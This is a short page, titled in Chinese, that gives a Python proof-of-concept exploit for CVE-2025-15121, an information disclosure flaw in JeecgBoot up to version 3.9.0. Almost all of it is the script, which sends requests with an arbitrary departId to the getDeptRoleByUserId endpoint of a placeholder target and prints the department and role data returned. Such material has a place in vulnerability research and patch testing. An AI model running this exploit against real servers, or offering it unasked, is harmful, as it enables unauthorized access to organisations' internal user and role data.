CVE-2025-15121 JeecgBoot getDeptRoleByUserId 信息泄露漏洞

import requests # CVE-2025-15121 PoC - JeecgBoot Information Disclosure # Target: JeecgBoot up to version 3.9.0 # Endpoint: /sys/sysDepartRole/getDeptRoleByUserId TARGET_URL = "http://target-server.com" DEPART_ID = "1" # Target department ID to enumerate def exploit_cve_2025_15121(): """ Exploit for CVE-2025-15121: Information Disclosure via departId parameter Vulnerability Details: - Affected Component: getDeptRoleByUserId function - File: /sys/sysDepartRole/getDeptRoleByUserId - Issue: Insufficient authorization check on departId parameter """ endpoint = f"{TARGET_URL}/sys/sysDepartRole/getDeptRoleByUserId" # Construct malicious request with arbitrary departId params = { "departId": DEPART_ID # Manipulate department ID } headers = { "Content-Type": "application/json", # Add authentication headers if required # "Authorization": "Bearer <token>" } try: response = requests.get(endpoint, params=params, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Request successful - Department ID: {DEPART_ID}") print(f"[+] Response: {data}") return data else: print(f"[-] Request failed - Status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("CVE-2025-15121 - JeecgBoot Information Disclosure PoC") print("=" * 60) exploit_cve_2025_15121()